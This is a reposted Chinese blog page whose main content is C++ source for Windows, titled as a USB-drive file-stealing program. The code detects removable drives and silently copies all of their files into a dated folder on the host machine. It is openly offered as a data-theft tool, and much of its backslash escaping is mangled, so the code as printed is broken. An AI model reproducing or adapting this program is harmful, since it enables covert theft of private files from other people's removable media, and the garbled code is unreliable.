zoukankan      html  css  js  c++  java
  • U盘文件偷窃程序

    // Drives.cpp : 定义控制台应用程序的入口点。
    //
    
    #include "stdafx.h"
    #include "windows.h"
    #include "string.h"
    #include "direct.h"
    #include "stdlib.h"
    char dir[260];
    wchar_t* char2wchar(char *cStr)
    {
        size_t len = strlen(cStr)+1;
        size_t converted = 0;
        wchar_t *wStr;
        wStr = (wchar_t*)malloc(len*sizeof(wchar_t));
        mbstowcs_s(&converted,wStr,len,cStr,_TRUNCATE);
        return wStr;
    }
    char* wchar2char(wchar_t *wStr)
    {
        size_t len = wcslen(wStr)+1;
        size_t converted = 0;
        char *cStr;
        cStr = (char*)malloc(len*sizeof(char));
        wcstombs_s(&converted,cStr,len,wStr,_TRUNCATE);
        return cStr;
    }
    void Copy(char *FileName)
    {
        char dir2[260];
        strcpy(dir2,dir);
        char *temp = strchr(FileName,'\');
        temp++;
        strcat(dir2,temp);
        CopyFile(char2wchar(FileName),char2wchar(dir2),1);
    }
    void CreateDir(char *path)
    {
        char temp2[260];
        strcpy(temp2,dir);
        char *temp = strchr(path,'\');
        temp++;
        strcat(temp2,temp);
        _mkdir(temp2);
        
    }
    void GetFile(char *FilePath)
    {
        wchar_t* wFilePath = char2wchar(FilePath);
        wchar_t temp[256],temp1[256];
        wcscpy_s(temp,wFilePath);
        WIN32_FIND_DATA FindFileData;
        HANDLE hFind;
        wcscat_s(temp,L"*");
        hFind = FindFirstFile(temp,&FindFileData);
        wprintf(L"%s
    ",FindFileData.cFileName);
        if(hFind == INVALID_HANDLE_VALUE)
        {
            return;
        }
        else
        {
            do
            {
                wcscpy_s(temp1,wFilePath);
                wcscat_s(temp1,FindFileData.cFileName);
                if(wcscmp(FindFileData.cFileName, L".")!=0&&wcscmp(FindFileData.cFileName ,L"..")!=0)
                {
                    if( FindFileData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY )
                    {
                        wcscat(temp1, L"\");
                        CreateDir(wchar2char(temp1));
                        GetFile(wchar2char(temp1));
                    }
                    else
                    {
                        Copy(wchar2char(temp1));
                    }      
                }
            }
            while( FindNextFile( hFind,&FindFileData ) );
        }
        FindClose(hFind);
    }
    int CheckDisk(char *disk)
    {
        wchar_t *wDisk = char2wchar(disk);
        if(GetDriveType(wDisk)==DRIVE_REMOVABLE)//如果是可移动磁盘,返回true
            return 1;
        return 0;
    }
    int Steal()
    {
        char buf[11];
        DWORD lod=GetLogicalDrives();
        if(lod)
        {
            for(int i=0;i<26;i++)
            {
                if((lod&1)==1)
                {
                    sprintf(buf,"%c",'A'+i);
                    strcat(buf,":\");
                    if(CheckDisk(buf))
                    {
                        if(GetVolumeInformation(char2wchar(buf),0,0,0,0,0,0,0))//获取磁盘信息
                        {
                            GetFile(buf);
                        }
                    }
                }
                lod=lod>>1;
            }
        }
        return TRUE;
    }
    int _tmain(int argc, _TCHAR* argv[])
    {
        SYSTEMTIME st;
        char dtime[22],temp[10];
        GetLocalTime(&st);
        _itoa(st.wYear,temp,10);
        strcpy(dtime,temp);
        _itoa(st.wMonth,temp,10);
        strcat(dtime,temp);
        _itoa(st.wDay,temp,10);
        strcat(dtime,temp);
        _itoa(st.wMonth,temp,10);
    
        _getcwd(dir,256);
        puts(dir);
        strcat(dir,"\");
        strcat(dir,dtime);
        strcat(dir,"\");
        _mkdir(dir);//创建新文件夹
        Steal();
    
        
        return 0;
    }
  • 相关阅读:
    [SHOI2015]自动刷题机
    【教程】AI画放射图
    AI画圆角矩形
    极限运动:街头极限单车,不只是牛逼!
    DPK750针式打印机驱动,750u.dll下载
    文艺青年必看的Ⅹ部心理电影
    C语言程序设计-第2章 算法-程序的灵魂
    C语言程序设计-第1章 程序设计和C语言
    20151127笔记
    20151125小概念
  • 原文地址:https://www.cnblogs.com/mypsq/p/5616405.html
Copyright © 2011-2022 走看看